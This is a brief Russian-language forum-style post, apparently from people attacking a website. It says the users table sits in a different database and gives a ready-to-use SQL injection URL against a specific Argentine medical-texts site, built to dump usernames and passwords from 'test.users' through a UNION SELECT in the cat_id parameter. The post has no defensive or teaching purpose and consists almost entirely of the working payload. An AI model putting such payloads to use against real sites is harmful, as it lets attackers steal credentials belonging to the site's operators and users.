потому что таблица users в другой базе данных
http://mvtextosmedicos.com.ar/index.php?cat_id=-23+union+select+concat(username,0x3a,password),2,3 ,4,5,6,7,8+from+test.users/*

опередили...